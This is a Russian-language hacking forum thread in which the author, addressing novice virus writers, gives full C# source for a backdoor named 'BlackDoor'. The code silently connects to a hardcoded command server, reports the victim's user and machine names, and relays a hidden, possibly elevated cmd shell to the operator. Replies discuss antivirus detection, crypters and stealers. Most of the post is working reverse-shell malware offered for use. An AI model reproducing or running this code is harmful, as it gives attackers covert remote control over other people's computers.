Загрузка...

Написание backdoor на C# [ЧАСТЬ ПЕРВАЯ]

Тема в разделе C# создана пользователем Dead__Artis 6 мар 2023. 1115 просмотров

Загрузка...
  1. Dead__Artis
    Dead__Artis Автор темы 6 мар 2023 921 30 май 2020
    всех кодеров приветствую и всех начинающих вируса писателей тоже
    для начало разберем что такое backdoor или же лазейка в ваш пк

    допустим вы запустили backdoor после его запуска он подключается к серверу который был записан в коде и передает данные о вашем пк такие как username pcname после чего на сервере открывается сессия которая будет уже управлять cmd

    и так преступим в первую очередь напишем сам backdoor
    создаем проект в Visual Studio и называем BlackDoor выбираем версию net framework 4.

    в главном классе Program будут храниться данные о сервере к которому мы будем подключаться

    создаем переменную в которой будет храниться наш хост

    CSHARP
    //IP:PORT
    const string host = "127.0.0.1:6666";
    и так готово, как не трудно догадаться по этим данным наш backdoor будет подключаться на локальный сервер.
    А для того чтобы он мог подключиться к нему мы будем использовать TCP соединение для этого нам необходимо создать экземпляр объекта TcpClient

    CSHARP
    public static TcpClient tcpClient = new TcpClient();
    затем для его подключения нам необходимо использовать функцию Connect
    CSHARP
    tcpClient.Connect(host.Split(':')[0], Convert.ToInt32(host.Split(':')[1]));
    но не так все просто, если допустим оборвалось соединение нам же надо заново подключиться чтобы
    и для того чтобы избежать потери соединения нам понадобиться проверка и отслеживание ошибок

    после чего наш код преобразуется в это
    CSHARP
    static void Main(string[] args)
    {
    while (true)
    {
    if (!tcpClient.Connected) //проверка подключения сессий
    Connect(); //если нету подключения то делаем попытку подключения заново
    Thread.Sleep(5000);
    }
    }
    CSHARP
    private static void Connect()
    {
    try
    {
    tcpClient.Connect(host.Split(':')[0], Convert.ToInt32(host.Split(':')[1]));
    if (tcpClient.Connected)
    {
    //удача сессия подключена !
    }
    }
    catch { }
    }
    подключение готово, а теперь как мы будем общаться с сервером и принимать данные
    тут уже не совсем так гладко, для таких целей можно будет использовать клиент и сервер с AsyncRat но это не нас случай ибо мы пишем все с нуля

    первое что мы сделаем это конечно же отправку данных так как после подключения нам будет не обходимо отдать серверу информацию о себе

    для того чтобы отправлять и принимать данный нам понадобиться NetworkStream
    создадим приватную переменную с NetworkStream в классе Program
    и будем её инициализировать в методе Connect
    так же нам понадобиться еще одна константа это размер буфера обмена или же размер массива байтов которые мы будем передавать на сервер.
    И да в нашем клиент сервер соединений будет огромный или даже жирный минус в том что половина текста меньше нашего размера буфера будет тупо отсеиваться и не придет на сервер

    CSHARP
    private static NetworkStream stream;
    const int SizeBuffer = 5000;

    public static void Send(string info)
    {
    if (!tcpClient.Connected) //если нету соеденения мы не будем отправлять данные.
    return;
    //иначе мы будем
    try
    {
    byte[] buffer = Encoding.UTF8.GetBytes(info); //данные которые больше SizeBuffer будут потеряны(
    stream.Write(buffer, 0, buffer.Length
    ); //отправка буфера начиная с 0 (offset) заканчивая buffer.Length

    }
    catch
    {
    tcpClient.Client.Disconnect(true);
    //при вознекновений ошибки при отправки отключаем сессию на повторное подключение
    //в параметрах пишем true что означает что данный экземпляр может быть использован еще раз
    }
    }
    следующие это формат в котором будут отправляться данные чтобы сервер мог понимать какой именно пакет идет на сервер и так же для клиента

    в нашем случай формат будет такой
    Header($)info($)info
    и так что это вообще такое
    Header это заголовок по которому мы будем индексировать пакет, а ($) это всего лишь делитель пакета или же Split'ер, info это информация которую мы заложили в пакет

    теперь нам необходимо отправить данные о подключений на сервер
    а так же инициализировать наш NetworkStream

    CSHARP
    private static void Connect()
    {
    try
    {
    tcpClient.Connect(host.Split(':')[0], Convert.ToInt32(host.Split(':')[1]));
    if (tcpClient.Connected)
    {
    //удача сессия подключена !
    stream = tcpClient.GetStream();
    Send("Session($)"+Environment.UserName+"($)"+Environment.MachineName+"($)");
    }
    }
    catch { }
    }
    все данные отправились на наш сервер где мы их примем
    после чего наш сервер будет отправлять команды в cmd, а пакет будет выглядеть так
    shell($)info($)
    последний сплитер или же делитель для того чтобы избежать нулевые байты или же нули или пробелы
    теперь чтобы принять его пакет нам надо считать данные с NetworkStream для этого создадим метод и отдельный поток для его работы

    CSHARP
     private static void Read()
    {
    try
    {
    while (tcpClient.Connected)
    {
    byte[] responseData = new byte[SizeBuffer]; //буфер в который придут наши данные
    stream.Read(responseData, 0, SizeBuffer); //считывание данных

    string[] Messages = Encoding.UTF8.GetString(responseData).Split(new[] { "($)" }, StringSplitOptions.None); //получения данных в виде массива

    switch (Messages[0]) //обработка нашего Header
    {

    }
    }
    }
    catch { }
    }
    метод готов теперь нам нужно создать новый класс который будет отвечать за управление cmd
    назовем наш класс Shell
    в подробности данного класса не буду объяснять тут и так понятно за что он отвечает

    CSHARP
    public static class Shell
    {
    public static bool IsAdmin()
    {
    return new WindowsPrincipal(WindowsIdentity.GetCurrent()).IsInRole(WindowsBuiltInRole.Administrator);
    }
    public static Process ProcessShell;
    public static string Input { get; set; }

    public static void ShellWriteLine(string arg)
    {
    ProcessShell.StandardInput.WriteLine(arg);
    }

    public static void StarShell()
    {
    ProcessStartInfo StartInfo = new ProcessStartInfo("cmd")
    {
    UseShellExecute = false,
    CreateNoWindow = true,
    RedirectStandardOutput = true,
    RedirectStandardInput = true,
    RedirectStandardError = true,
    WorkingDirectory = Path.GetPathRoot(Environment.GetFolderPath(Environment.SpecialFolder.System)),
    StandardOutputEncoding = Encoding.GetEncoding(CultureInfo.CurrentCulture.TextInfo.OEMCodePage),
    StandardErrorEncoding = Encoding.GetEncoding(CultureInfo.CurrentCulture.TextInfo.OEMCodePage)
    };
    if (IsAdmin())
    {
    StartInfo.Verb = "runas";
    }
    ProcessShell = new Process();
    ProcessShell.StartInfo = StartInfo;
    ProcessShell.OutputDataReceived += ShellDataHandler;
    ProcessShell.ErrorDataReceived += ShellDataHandler;
    ProcessShell.Start();
    ProcessShell.BeginOutputReadLine();
    ProcessShell.BeginErrorReadLine();
    while (Program.tcpClient.Connected)
    {
    Thread.Sleep(2000);
    }
    ShellClose();
    return;
    }

    private static void ShellDataHandler(object sender, DataReceivedEventArgs e)
    {
    StringBuilder Output = new StringBuilder();
    try
    {
    Output.AppendLine(e.Data);
    Program.Send("shell($)" + Output.ToString()+"($)"); //отправка данных с cmd на сервер
    }
    catch { }
    }

    public static void ShellClose()
    {
    try
    {
    if (ProcessShell != null)
    {
    KillProcessAndChildren(ProcessShell.Id);
    ProcessShell.OutputDataReceived -= ShellDataHandler;
    ProcessShell.ErrorDataReceived -= ShellDataHandler;
    }
    }
    catch { }
    }

    private static void KillProcessAndChildren(int pid)
    {
    if (pid == 0)
    {
    return;
    }
    ManagementObjectSearcher searcher = new ManagementObjectSearcher("Select * From Win32_Process Where ParentProcessID=" + pid);
    ManagementObjectCollection moc = searcher.Get();
    foreach (ManagementObject mo in moc)
    {
    KillProcessAndChildren(Convert.ToInt32(mo["ProcessID"]));
    }
    try
    {
    Process proc = Process.GetProcessById(pid);
    proc.Kill();
    }
    catch { }
    }
    }
    ShellDataHandler будет отправлять полученные данные с cmd нашему серверу которые мы будем выводить
    так же для работы нашего шелла нам надо запустить функцию StarShell в методе Connect.
    А так же мы должны принимать данные с сервера и передавать в cmd
    после чего наш код будет готов
    CSHARP
    using System;
    using System.Diagnostics;
    using System.Globalization;
    using System.IO;
    using System.Management;
    using System.Net.Sockets;
    using System.Security.Principal;
    using System.Text;
    using System.Threading;

    namespace BlackDoor
    {
    internal class Program
    {
    const string host = "127.0.0.1:6666";
    const int SizeBuffer = 5000;
    public static TcpClient tcpClient = new TcpClient();
    private static NetworkStream stream;

    static void Main(string[] args)
    {
    while (true)
    {
    if (!tcpClient.Connected) //проверка подключения сессий
    Connect(); //если нету подключения то делаем попытку подключения заново
    Thread.Sleep(5000);
    }
    }
    private static void Connect()
    {
    try
    {
    tcpClient.Connect(host.Split(':')[0], Convert.ToInt32(host.Split(':')[1]));
    if (tcpClient.Connected)
    {
    //удача сессия подключена !
    stream = tcpClient.GetStream();
    new Thread(() => Read()).Start(); //создания потока для чтения данных
    Send("Session($)"+Environment.UserName+"($)"+Environment.MachineName + "($)");
    Shell.StarShell();
    }
    }
    catch { }
    }
    private static void Read()
    {
    try
    {
    while (tcpClient.Connected)
    {
    byte[] responseData = new byte[SizeBuffer]; //буфер в который придут наши данные
    stream.Read(responseData, 0, SizeBuffer); //считывание данных

    string[] Messages = Encoding.UTF8.GetString(responseData).Split(new[] { "($)" }, StringSplitOptions.None); //получения данных в виде массива

    switch (Messages[0]) //обработка нашего Header
    {
    case "shell":
    {
    //shell($)ipconfig($) пример пакета
    Shell.ShellWriteLine(Messages[1]);
    break;
    }
    case "exit":
    {
    //exit($)
    tcpClient.Close();
    Shell.ShellClose();
    Environment.Exit(0);
    break;
    }
    }
    }
    }
    catch { }
    }
    public static void Send(string info)
    {
    if (!tcpClient.Connected) //если нету соеденения мы не будем отправлять данные.
    return;
    //иначе мы будем
    try
    {
    byte[] buffer = Encoding.UTF8.GetBytes(info); //данные которые больше SizeBuffer будут потеряны(
    stream.Write(buffer, 0,buffer.Length); //отправка буфера начиная с 0 (offset) заканчивая buffer.Length
    }
    catch
    {
    tcpClient.Client.Disconnect(true);
    //при вознекновений ошибки при отправки отключаем сессию на повторное подключение
    //в параметрах пишем true что означает что данный экземпляр может быть использован еще раз
    }
    }
    }


    public static class Shell
    {
    public static bool IsAdmin()
    {
    return new WindowsPrincipal(WindowsIdentity.GetCurrent()).IsInRole(WindowsBuiltInRole.Administrator);
    }
    public static Process ProcessShell;
    public static string Input { get; set; }

    public static void ShellWriteLine(string arg)
    {
    ProcessShell.StandardInput.WriteLine(arg);
    }

    public static void StarShell()
    {
    ProcessStartInfo StartInfo = new ProcessStartInfo("cmd")
    {
    UseShellExecute = false,
    CreateNoWindow = true,
    RedirectStandardOutput = true,
    RedirectStandardInput = true,
    RedirectStandardError = true,
    WorkingDirectory = Path.GetPathRoot(Environment.GetFolderPath(Environment.SpecialFolder.System)),
    StandardOutputEncoding = Encoding.GetEncoding(CultureInfo.CurrentCulture.TextInfo.OEMCodePage),
    StandardErrorEncoding = Encoding.GetEncoding(CultureInfo.CurrentCulture.TextInfo.OEMCodePage)
    };
    if (IsAdmin())
    {
    StartInfo.Verb = "runas";
    }
    ProcessShell = new Process();
    ProcessShell.StartInfo = StartInfo;
    ProcessShell.OutputDataReceived += ShellDataHandler;
    ProcessShell.ErrorDataReceived += ShellDataHandler;
    ProcessShell.Start();
    ProcessShell.BeginOutputReadLine();
    ProcessShell.BeginErrorReadLine();
    while (Program.tcpClient.Connected)
    {
    Thread.Sleep(2000);
    }
    ShellClose();
    return;
    }

    private static void ShellDataHandler(object sender, DataReceivedEventArgs e)
    {
    StringBuilder Output = new StringBuilder();
    try
    {
    Output.AppendLine(e.Data);
    Program.Send("shell($)" + Output.ToString() + "($)"); //отправка данных с cmd на сервер
    }
    catch { }
    }

    public static void ShellClose()
    {
    try
    {
    if (ProcessShell != null)
    {
    KillProcessAndChildren(ProcessShell.Id);
    ProcessShell.OutputDataReceived -= ShellDataHandler;
    ProcessShell.ErrorDataReceived -= ShellDataHandler;
    }
    }
    catch { }
    }

    private static void KillProcessAndChildren(int pid)
    {
    if (pid == 0)
    {
    return;
    }
    ManagementObjectSearcher searcher = new ManagementObjectSearcher("Select * From Win32_Process Where ParentProcessID=" + pid);
    ManagementObjectCollection moc = searcher.Get();
    foreach (ManagementObject mo in moc)
    {
    KillProcessAndChildren(Convert.ToInt32(mo["ProcessID"]));
    }
    try
    {
    Process proc = Process.GetProcessById(pid);
    proc.Kill();
    }
    catch { }
    }
    }
    }
    https://zelenka.guru/threads/5049453/ о том как создать сервер для этого backdoor'а
    надеюсь на ваше внимание тему писал около часа :warpath:

    у данного бэкдора детектов два
    https://antiscan.me/scan/new/result?id=Z3toqarNsna8

    кст хочу сказать отдельное спасибо клоунам под этой теме которые решили воспринять эту тему как практический готовый backdoor, я лишь этой темой показал как работают backdoor'ы.​
     
    6 мар 2023 Изменено
  2. Bob_Smuggler
    Bob_Smuggler 6 мар 2023 Заблокирован(а) 54 3 фев 2021
    ты сам то хоть понял что написал?
    BackDoor - это понятие абстрактное, бэкдор может подкачивать с удаленного хоста что угодно, бэкдор может зоздавать допустим скрытые учетки, чтобы ты их потом использовал,для примера: пиздил **** из админки ******а который впарил оленю какому-то тут на форуме, бэкдор может пересылать **** с чекера, может много чего.
    Ну и делая выводи, напрашивается вопрос, в теории работает, а как же практика? Что скажут ав? и вообще, что насчет блокировки входящих подключений, что на счет UAC? Короче, зря ты час потратил, лучше бы пива выпил вместо этого.
     
    1. Посмотреть предыдущие комментарии (22)
    2. Dead__Artis Автор темы
      dothemost, я написал так чтобы лично мой код не использовали, так как если ты писал малвари знаешь что после слива на вт стабов похожих на друг друга, у обоих будут детекты.
    3. Dead__Artis Автор темы
      dothemost, тонкости тут полностью согласен, да и языки без граничные, понадобиться целая жизнь чтобы познать все тонкости
    4. Dead__Artis Автор темы
      dothemost, да и наш диалог с самого начала шел не в ту сторону
  3. amcs
    amcs 6 мар 2023 Заблокирован(а) 3 5 дек 2021
    красава) :pepeshapka:
     
    6 мар 2023 Изменено
  4. v4vner
    v4vner 7 мар 2023 1 1 мар 2023
    не знал, что на C# можно и backdoor'ы писать
     
    1. Bob_Smuggler
      v4vner, как-то спросили армянское радио (ChatGPT), а создай блатной ЯП, и оно ответило:
      "К сожалению, я не могу создать программу на языке LOLZ, так как это язык программирования, который был придуман для шутки и не предназначен для серьезной работы. Однако, я могу предложить вам написать программу на языке Python, который очень похож на LOLZ в терминах синтаксиса и структуры программы.

      Ниже приведен пример программы на Python, который демонстрирует некоторые особенности этого языка, которые сделают его похожим на LOLZ
      Python
      HAI
      CAN HAS STDIO?
      I HAS A VAR
      GIMMEH VAR
      VISIBLE "U ENTERED " N VAR
      KTHXBYE
      В этой программе мы используем несколько ключевых слов, которые могут напоминать некоторые команды из LOLZ:

      HAI - это приветственное слово, аналогичное CAN HAS STDIO? в LOLZ.
      I HAS A VAR - это объявление переменной, аналогичное I HAS A в LOLZ.
      GIMMEH VAR - это запрос значения от пользователя, аналогичный GIMMEH в LOLZ.
      VISIBLE - это команда вывода текста в консоль, аналогичная VISIBLE в LOLZ.
      KTHXBYE - это прощальное слово, аналогичное KTHXBYE в LOLZ.

      Надеюсь, это поможет вам лучше понять синтаксис и структуру программы на языке LOLZ.
      вот тебе и анекдот
  5. Bob_Smuggler
    Bob_Smuggler 8 мар 2023 Заблокирован(а) 54 3 фев 2021

    это ты детектом считаешь? давай так, ты берешь и запускаешь чудо-дор на винде со свежими обновлениями и делаешь скрин на фоне этого треда? я молчу о рантайме))) блять... когда уже перестанете впаривать эти масс-сканеры как пруф?
     
    8 мар 2023 Изменено
    1. afrodita
      Bob_Smuggler, ТЫ НЕ ШАРИШЬ!!!!!!!!!!! РАНТАЙМ НАХУЙ НУЖЕН!!! СКАНТАЙМ НАШЕ ВСЁ
    2. Bob_Smuggler
      afrodita, Мен, та ты полностью прав) ну а как-же чудо-криптеры жить будут))))) ну а слово рантайм-детектЫ или более глубже лов-фи-детекЫ и остальные флаги тут походу под запретом:smile_laugh:
    3. Dead__Artis Автор темы
      Bob_Smuggler, ты гонишь ?
      давай запусти на свежей винде я посмотрю будут ли детекты по рантайму, А ИХ НЕ БУДЕТ потому что он не будет детектить такие простые вещи как соединение tcp и запуск cmd, потому что эти действия не считаются вредоносными
      8 мар 2023 Изменено
  6. afrodita
    afrodita 8 мар 2023 Великий секрет - https://lolz.live/threads/7929924/ 323 18 ноя 2020
    Твой бэкдор отомрёт как только стиллак на пк скачается :bomzh:
     
    1. Bob_Smuggler
      afrodita, тут ты конечно не прав, со всего уважения Мэн, как только он (бэкдор) стукнет в с2, это будет последнее, что он сможет сделать, а про загрузку это теория
    2. Dead__Artis Автор темы
      afrodita, напиши лучшее и мы все вместе посмотрим.
Top